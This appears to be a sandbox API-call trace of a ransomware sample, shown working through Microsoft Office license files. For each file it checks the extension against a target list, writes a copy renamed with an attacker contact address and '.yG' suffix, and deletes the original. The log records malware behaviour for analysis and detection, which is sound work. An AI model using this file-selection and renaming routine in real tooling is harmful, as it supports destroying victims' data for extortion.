	[0173.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms") returned 83
	[0173.913] lstrlenW (lpString=".doc") returned 4
	[0173.913] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.913] lstrlenW (lpString=".docx") returned 5
	[0173.913] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.913] lstrlenW (lpString=".pdf") returned 4
	[0173.913] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.913] lstrlenW (lpString=".xls") returned 4
	[0173.913] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.913] lstrlenW (lpString=".xlsx") returned 5
	[0173.914] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.914] lstrlenW (lpString=".ppt") returned 4
	[0173.914] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms") returned 83
	[0173.914] lstrlenW (lpString=".zip") returned 4
	[0173.914] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.914] lstrlenW (lpString=".rar") returned 4
	[0173.914] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.914] lstrlenW (lpString=".bz2") returned 4
	[0173.914] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.914] lstrlenW (lpString=".7z") returned 3
	[0173.914] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms") returned 83
	[0173.914] lstrlenW (lpString=".dbf") returned 4
	[0173.914] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms") returned 83
	[0173.914] lstrlenW (lpString=".1cd") returned 4
	[0173.914] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms") returned 83
	[0173.914] lstrlenW (lpString=".jpg") returned 4
	[0173.914] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.915] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=11630) returned 1
	[0173.915] CloseHandle (hObject=0x570) returned 1
	[0173.915] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-ul-oob.xrm-ms")) returned 0x220
	[0173.915] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0173.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0173.916] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.916] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0173.917] GetLastError () returned 0x0
	[0173.917] ReadFile (in: hFile=0x570, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x2d6e, lpOverlapped=0x0) returned 1
	[0174.173] WriteFile (in: hFile=0x364, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0174.174] ReadFile (in: hFile=0x570, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.174] WriteFile (in: hFile=0x364, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x11c, lpOverlapped=0x0) returned 1
	[0174.175] SetEndOfFile (hFile=0x364) returned 1
	[0174.424] CloseHandle (hObject=0x364) returned 1
	[0174.424] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.424] SetEndOfFile (hFile=0x570) returned 1
	[0174.429] CloseHandle (hObject=0x570) returned 1
	[0174.429] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0174.430] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-ul-oob.xrm-ms")) returned 1
	[0174.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms") returned 86
	[0174.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms") returned 86
	[0174.431] lstrlenW (lpString=".doc") returned 4
	[0174.431] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0174.431] lstrlenW (lpString=".docx") returned 5
	[0174.431] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0174.431] lstrlenW (lpString=".pdf") returned 4
	[0174.431] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0174.431] lstrlenW (lpString=".xls") returned 4
	[0174.431] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0174.431] lstrlenW (lpString=".xlsx") returned 5
	[0174.431] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0174.431] lstrlenW (lpString=".ppt") returned 4
	[0174.431] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0174.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms") returned 86
	[0174.431] lstrlenW (lpString=".zip") returned 4
	[0174.431] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0174.431] lstrlenW (lpString=".rar") returned 4
	[0174.431] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0174.431] lstrlenW (lpString=".bz2") returned 4
	[0174.431] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0174.431] lstrlenW (lpString=".7z") returned 3
	[0174.431] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0174.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms") returned 86
	[0174.431] lstrlenW (lpString=".dbf") returned 4
	[0174.431] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0174.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms") returned 86
	[0174.431] lstrlenW (lpString=".1cd") returned 4
	[0174.432] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0174.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms") returned 86
	[0174.432] lstrlenW (lpString=".jpg") returned 4
	[0174.432] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0174.432] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=11635) returned 1
	[0174.432] CloseHandle (hObject=0x570) returned 1
	[0174.432] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-ul-oob.xrm-ms")) returned 0x220
	[0174.432] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0174.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0174.433] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.433] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0174.434] GetLastError () returned 0x0
	[0174.434] ReadFile (in: hFile=0x570, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x2d73, lpOverlapped=0x0) returned 1
	[0174.452] WriteFile (in: hFile=0x364, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x2d80, lpOverlapped=0x0) returned 1
	[0174.453] ReadFile (in: hFile=0x570, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.453] WriteFile (in: hFile=0x364, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x11e, lpOverlapped=0x0) returned 1
	[0174.453] SetEndOfFile (hFile=0x364) returned 1
	[0174.453] CloseHandle (hObject=0x364) returned 1
	[0174.453] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.453] SetEndOfFile (hFile=0x570) returned 1
	[0174.457] CloseHandle (hObject=0x570) returned 1
	[0174.457] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0174.457] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-ul-oob.xrm-ms")) returned 1
	[0174.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms") returned 87
	[0174.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms") returned 87
	[0174.458] lstrlenW (lpString=".doc") returned 4
	[0174.458] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0174.458] lstrlenW (lpString=".docx") returned 5
	[0174.459] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0174.459] lstrlenW (lpString=".pdf") returned 4
	[0174.459] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0174.459] lstrlenW (lpString=".xls") returned 4
	[0174.459] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0174.459] lstrlenW (lpString=".xlsx") returned 5
	[0174.459] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0174.459] lstrlenW (lpString=".ppt") returned 4
	[0174.459] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0174.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms") returned 87
	[0174.459] lstrlenW (lpString=".zip") returned 4
	[0174.459] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0174.459] lstrlenW (lpString=".rar") returned 4
	[0174.459] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0174.459] lstrlenW (lpString=".bz2") returned 4
	[0174.459] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0174.459] lstrlenW (lpString=".7z") returned 3
	[0174.459] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0174.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms") returned 87
	[0174.459] lstrlenW (lpString=".dbf") returned 4
	[0174.459] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0174.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms") returned 87
	[0174.459] lstrlenW (lpString=".1cd") returned 4
	[0174.459] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0174.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms") returned 87
	[0174.459] lstrlenW (lpString=".jpg") returned 4
	[0174.459] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0174.461] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=23135) returned 1
	[0174.461] CloseHandle (hObject=0x570) returned 1
	[0174.461] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-ppd.xrm-ms")) returned 0x220
	[0174.462] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0174.462] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0174.462] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.463] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0174.464] GetLastError () returned 0x0
	[0174.464] ReadFile (in: hFile=0x570, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x5a5f, lpOverlapped=0x0) returned 1
	[0174.479] WriteFile (in: hFile=0x364, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x5a60, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x5a60, lpOverlapped=0x0) returned 1
	[0174.480] ReadFile (in: hFile=0x570, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.481] WriteFile (in: hFile=0x364, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x118, lpOverlapped=0x0) returned 1
	[0174.481] SetEndOfFile (hFile=0x364) returned 1
	[0174.481] CloseHandle (hObject=0x364) returned 1
	[0174.481] SetFilePointerEx (in: hFile=0x570, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.481] SetEndOfFile (hFile=0x570) returned 1
	[0174.485] CloseHandle (hObject=0x570) returned 1
	[0174.703] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0174.703] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-ppd.xrm-ms")) returned 1
	[0174.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms") returned 84
	[0174.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms") returned 84
	[0174.810] lstrlenW (lpString=".doc") returned 4
	[0174.810] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0174.810] lstrlenW (lpString=".docx") returned 5
	[0174.810] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0174.810] lstrlenW (lpString=".pdf") returned 4
	[0174.810] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0174.810] lstrlenW (lpString=".xls") returned 4
	[0174.810] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0174.810] lstrlenW (lpString=".xlsx") returned 5
	[0174.810] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0174.810] lstrlenW (lpString=".ppt") returned 4
	[0174.810] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0174.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms") returned 84
	[0174.810] lstrlenW (lpString=".zip") returned 4
	[0174.810] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0174.810] lstrlenW (lpString=".rar") returned 4
	[0174.810] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0174.810] lstrlenW (lpString=".bz2") returned 4
	[0174.811] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0174.811] lstrlenW (lpString=".7z") returned 3
	[0174.811] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0174.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms") returned 84
	[0174.811] lstrlenW (lpString=".dbf") returned 4
	[0174.811] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0174.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms") returned 84
	[0174.811] lstrlenW (lpString=".1cd") returned 4
	[0174.811] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0174.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms") returned 84
	[0174.811] lstrlenW (lpString=".jpg") returned 4
	[0174.811] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0174.812] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=24302) returned 1
	[0174.812] CloseHandle (hObject=0x538) returned 1
	[0174.812] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_grace-ppd.xrm-ms")) returned 0x220
	[0174.812] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_grace-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0174.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0174.813] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.813] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_grace-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0174.814] GetLastError () returned 0x0
	[0174.814] ReadFile (in: hFile=0x538, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x5eee, lpOverlapped=0x0) returned 1
	[0175.263] WriteFile (in: hFile=0x51c, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x5ef0, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x5ef0, lpOverlapped=0x0) returned 1
	[0175.265] ReadFile (in: hFile=0x538, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.265] WriteFile (in: hFile=0x51c, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x10e, lpOverlapped=0x0) returned 1
	[0175.265] SetEndOfFile (hFile=0x51c) returned 1
	[0175.265] CloseHandle (hObject=0x51c) returned 1
	[0175.265] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.266] SetEndOfFile (hFile=0x538) returned 1
	[0175.269] CloseHandle (hObject=0x538) returned 1
	[0175.269] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0175.599] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_grace-ppd.xrm-ms")) returned 1
	[0175.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms") returned 79
	[0175.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms") returned 79
	[0175.600] lstrlenW (lpString=".doc") returned 4
	[0175.600] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0175.600] lstrlenW (lpString=".docx") returned 5
	[0175.600] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0175.600] lstrlenW (lpString=".pdf") returned 4
	[0175.600] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0175.600] lstrlenW (lpString=".xls") returned 4
	[0175.600] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0175.600] lstrlenW (lpString=".xlsx") returned 5
	[0175.601] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0175.601] lstrlenW (lpString=".ppt") returned 4
	[0175.601] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0175.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms") returned 79
	[0175.601] lstrlenW (lpString=".zip") returned 4
	[0175.601] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0175.601] lstrlenW (lpString=".rar") returned 4
	[0175.601] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0175.601] lstrlenW (lpString=".bz2") returned 4
	[0175.601] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0175.601] lstrlenW (lpString=".7z") returned 3
	[0175.601] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
